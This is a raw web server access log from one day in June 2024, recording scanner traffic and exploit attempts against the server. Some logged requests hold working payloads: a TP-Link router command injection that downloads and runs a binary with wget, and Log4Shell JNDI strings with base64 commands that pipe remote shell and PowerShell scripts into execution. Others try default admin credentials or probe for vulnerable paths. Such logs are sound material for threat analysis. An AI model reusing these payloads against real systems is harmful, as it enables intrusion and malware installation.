199.45.154.21 - - [08/Jun/2024:00:12:11 -0300] "-" 400 - 176.97.210.227 - - [08/Jun/2024:00:51:39 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013 167.94.138.118 - - [08/Jun/2024:01:00:15 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.118 - - [08/Jun/2024:01:00:18 -0300] "GET / HTTP/1.1" 200 11217 167.94.138.118 - - [08/Jun/2024:01:00:18 -0300] "PRI * HTTP/2.0" 505 - 167.94.138.118 - - [08/Jun/2024:01:00:19 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 165.22.126.61 - - [08/Jun/2024:01:33:10 -0300] "GET / HTTP/1.0" 200 11197 102.129.153.243 - - [08/Jun/2024:01:41:31 -0300] "GET /robots.txt HTTP/1.1" 404 981 102.129.153.243 - - [08/Jun/2024:01:41:32 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1728 102.129.153.243 - - [08/Jun/2024:01:41:32 -0300] "GET / HTTP/1.1" 200 11217 59.92.164.119 - - [08/Jun/2024:02:07:07 -0300] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 1007 209.97.128.214 - - [08/Jun/2024:02:37:06 -0300] "GET / HTTP/1.0" 200 11197 185.165.191.27 - - [08/Jun/2024:03:14:35 -0300] "GET / HTTP/1.1" 200 11217 185.165.191.27 - - [08/Jun/2024:03:14:35 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 147.185.132.42 - - [08/Jun/2024:04:47:45 -0300] "GET / HTTP/1.1" 200 11217 152.32.130.191 - - [08/Jun/2024:05:19:53 -0300] "GET / HTTP/1.1" 200 11217 152.32.130.191 - - [08/Jun/2024:05:19:53 -0300] "îêIôè—*JñR e’§Y6Ð=„=lkëØðšöøñ+x ]žür`¼dkŠ+vhɊ¨3m^~Êà߉öûLÈFá‚&À+À/À,À0̨̩À ÀÀ" 400 - 152.32.130.191 - - [08/Jun/2024:05:19:54 -0300] "t3 12.1.2 " 400 - 118.26.39.231 - - [08/Jun/2024:05:20:36 -0300] "GET / HTTP/1.1" 200 11217 118.26.39.231 - - [08/Jun/2024:05:20:37 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 118.26.39.231 - - [08/Jun/2024:05:20:37 -0300] "GET /tomcat.png HTTP/1.1" 200 5103 118.26.39.231 - - [08/Jun/2024:05:20:38 -0300] "GET /sitemap.xml HTTP/1.1" 404 983 118.26.39.231 - - [08/Jun/2024:05:20:38 -0300] "GET /robots.txt HTTP/1.1" 404 981 118.26.39.231 - - [08/Jun/2024:05:20:40 -0300] "GET /axis2-admin/ HTTP/1.1" 404 985 118.26.39.231 - - [08/Jun/2024:05:20:40 -0300] "GET /axis2/ HTTP/1.1" 404 973 118.26.39.231 - - [08/Jun/2024:05:20:41 -0300] "GET /axis2/axis2-admin/ HTTP/1.1" 404 997 118.26.39.231 - - [08/Jun/2024:05:20:42 -0300] "GET /?id=%25{{{11}}*{{11}}} HTTP/1.1" 200 11217 118.26.39.231 - - [08/Jun/2024:05:20:42 -0300] "GET /struts/webconsole.html HTTP/1.1" 404 1005 118.26.39.231 - - [08/Jun/2024:05:20:43 -0300] "GET /?actionErrors=1111 HTTP/1.1" 200 11217 118.26.39.231 - - [08/Jun/2024:05:20:43 -0300] "GET /invoker/readonly HTTP/1.1" 404 993 160.153.245.83 - - [08/Jun/2024:07:00:26 -0300] "POST /?password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnNoIHxiYXNo%7D HTTP/1.1" 200 11217 160.153.245.83 - - [08/Jun/2024:07:00:26 -0300] "POST /?username=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&password=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D&id=%24%7Bjndi%3Aldap%3A%2F%2F139.59.103.116%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FcG93ZXJzaGVsbCBJRVggKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTEwLjE2NS4xNy4xMTE6ODA5MC9kb2NzL2xyLnBzMScp%7D HTTP/1.1" 200 11217 165.227.126.74 - - [08/Jun/2024:07:01:41 -0300] "-" 400 - 165.227.126.74 - - [08/Jun/2024:07:01:41 -0300] "GET / HTTP/1.1" 200 11217 165.227.126.74 - - [08/Jun/2024:07:01:42 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 147.185.132.48 - - [08/Jun/2024:07:15:39 -0300] "îêÛ´TŒ|3d蚛4‹­Á7›‹áÜ~ӄàܾÅ'I* ¶úc]©¾ÿ¸* ý" 400 - 147.185.132.48 - - [08/Jun/2024:07:15:39 -0300] "ÊÆ»ú÷¢|•‹/üOEæï€‡²gr‹?'/»á³®P¬¼hÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ " 400 - 176.97.210.227 - - [08/Jun/2024:08:41:58 -0300] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F176.97.210.226%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk%60) HTTP/1.1" 404 1013 103.252.136.86 - - [08/Jun/2024:09:09:21 -0300] "CONNECT www.google.com:443 HTTP/1.1" 400 - 165.227.237.44 - - [08/Jun/2024:11:59:35 -0300] "-" 400 - 165.227.237.44 - - [08/Jun/2024:11:59:35 -0300] "GET / HTTP/1.1" 200 11217 165.227.237.44 - - [08/Jun/2024:11:59:36 -0300] "GET /download/powershell/ HTTP/1.1" 404 1001 165.227.237.44 - - [08/Jun/2024:11:59:36 -0300] "-" 400 - 146.70.199.147 - - [08/Jun/2024:12:24:40 -0300] "GET / HTTP/1.1" 200 11217 177.200.87.134 - - [08/Jun/2024:12:26:34 -0300] "GET / HTTP/1.1" 200 11217 106.75.65.24 - - [08/Jun/2024:13:42:29 -0300] "GET / HTTP/1.1" 200 11217 92.249.48.239 - - [08/Jun/2024:13:48:19 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 186.11.121.197 - - [08/Jun/2024:14:47:21 -0300] "üh¸›67Ûµu? ;«k¼â¹Ï°—´ØæÃÙט4W¹Š ³ä